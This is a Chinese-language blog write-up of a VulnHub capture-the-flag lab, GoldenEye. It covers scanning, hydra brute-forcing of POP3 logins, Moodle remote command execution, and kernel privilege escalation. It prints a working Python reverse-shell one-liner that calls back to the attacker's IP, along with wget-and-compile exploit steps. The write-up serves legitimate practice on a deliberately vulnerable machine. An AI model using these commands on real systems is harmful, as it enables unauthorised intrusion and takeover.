VulnHub-GoldenEye-学习记录

前言:最近有点迷茫后面的路不知道该怎么继续往下走,再团队师傅的指点下我开始对vulnhub的靶场进行学习,比较好的一点是靶机是从外网到内网的一整个过程,可以系统性的进行学习

关于靶机的教程网上已经有很多师傅写了,第一次打这种靶机也是参照了师傅们的方法,希望后面能养出自己的思路
首先把靶机从官网down下来,安装完靶机之后开始复现

1.nmap扫描

靶机是NAT桥接,共享的本机ip,使用nmap扫描本网段
基础的nmap指令百度一搜就有,这里就不放了
在这里插入图片描述
这里发现了目标ip:192.168.149.130
开始端口扫描
在这里插入图片描述
发现80端口,访问一下
在这里插入图片描述
一个网页,访问一下/sev-home/这个路径
在这里插入图片描述
需要账号密码登录,回到原来的界面查看一下源码信息
在这里插入图片描述
在这里插入图片描述
这里找到了boris的密码,拿去html解密
在这里插入图片描述
拿去登录就行了
在这里插入图片描述

查看源码
在这里插入图片描述
看不懂,翻译一下
请记住,由于默默无闻的安全性非常有效,因此我们将pop3服务配置为在很高的非默认端口上运行.
看到这想起了55006和55007两个端口,通过尝试55006端口访问被重置,55007成功访问
接下来通过hydra爆破口令

echo -e 'natalya\nboris' > yh.txt
使用该命令创建包含这两个用户名的文本
然后通过kali自带字典目录/usr/share/wordlists/进行爆破
hydra -L yh.txt -P /usr/share/wordlists/fasttrack.txt 192.168.149.130 -s 55007 pop3

在这里插入图片描述
我们成功爆破出这俩账号
用户:boris 密码:secret1!
用户:natalya 密码:bird

拿到登录凭证之后我们通过nc连接pop3服务
在这里插入图片描述
这里贴上这几个pop3命令的作用
user username 认证用户名
pass password认证密码认证,认证通过则状态转换
stat 处理请求server回送邮箱统计资料,如邮件数、邮件总字节数
retr n 处理server返回邮件的全部文本
在这里插入图片描述
至此我们看了boris的三封邮件没啥可用信息,登录另一个账号看一下
在这里插入图片描述
在这里插入图片描述
在第二封邮件里面有一组用户名和密码,并且给出了域名和网站,需要在本地服务hosts添加此域名信息
在这里插入图片描述
打开文本添加完之后重启一下network服务,然后通过浏览器访问http:severnaya-station.com/gnocertdir
使用刚刚邮件里的那组账号密码登录
在这里插入图片描述
右边区域好像还发现了admin用户发的公告
翻一下这个账号有啥吧,发现了一封邮件
在这里插入图片描述
这里一看又是一个用户名,接着使用hydra爆破
一样的步骤,将doak加入之前创建的txt文本中,或者重新建个文本
在这里插入图片描述
这里跑出来了
**用户:doak
密码:goat
**
接着nc连接pop3服务
在这里插入图片描述
找到了登录邮箱的账号密码,拿去登录
在这里插入图片描述
找到个txt文件,打开看一下
在这里插入图片描述
大概意思就是管理员的登录凭证隐藏在这个映像文件里,我们查看一下该图
在这里插入图片描述
可以使用weget命令把图片下载下来

wget http://severnaya-station.com/dir007key/for-007.jpg

这里我没有这个命令,懒得装了,就用浏览器直接下载了
下载到本地之后,这张图我们得分析一下,我先使用的binwalk命令没有得到有价值的东西,参考了一下教程使用strings
在这里插入图片描述
发现了这个base64编码,拿去解一下
在这里插入图片描述
至此我们拿到了管理员的密码,去登陆

2.漏洞利用

后面就是漏洞利用,发现为moodle 2.2.3,存在远程命令执行漏洞CVE-2013-3630
这里msf我不太会用陷入了点麻烦(后面得去学一下),找了一下还有另一种利用方式,找到网站管理系统路径发现可以上传python代码,进行反弹shell
在这里插入图片描述

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.149.128”,6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

ip那里记得改成自己的
使用python对本地6666端口上传一个shell,然后本地开启端口6666进行监听
在这里插入图片描述
然后我们回到用户界面找一个能发送数据出去的地方
在这里插入图片描述
随便输入点东西
在这里插入图片描述
点击这里发送
这里不知道为啥监听失败了,还是决定拿MSF打一下
在这里插入图片描述
这里由于目标主机上不存在GCC编译,只能CC编译,所以在需要把Google Spell编译改成PSpellShell编译。
在这里插入图片描述
查找到exp,并设置好配置
在这里插入图片描述
打就完了
在这里插入图片描述
成功拿到了shell
接下来转tty

python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述
这里查看到只是一个www-data的低权限用户,那就最后一步提权
在这里插入图片描述
这里看到了操作系统和内核版本号
可以在kali本地中查找shell
在这里插入图片描述
在这里插入图片描述
由于靶机未安装gcc编译,只能用cc编译,需要修改37292.c编译
在这里插入图片描述
gcc改成cc
在这里插入图片描述
本地开启服务
在这里插入图片描述
使用wget命令将37292.c文件下载到靶机目录,并且用cc进行编译
在这里插入图片描述
在这里插入图片描述
赋予权限之后运行exp,查看id终于成了,root权限
本靶机的挑战目标是通过root权限拿到flag.txt
在这里插入图片描述
我们进入root用户查看一下目录,找到了目标文件
在这里插入图片描述
访问flag路径
在这里插入图片描述
麻了,真不容易啊,第一次打碰到无数问题,心都碎了…好在成功了
在这里插入图片描述

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值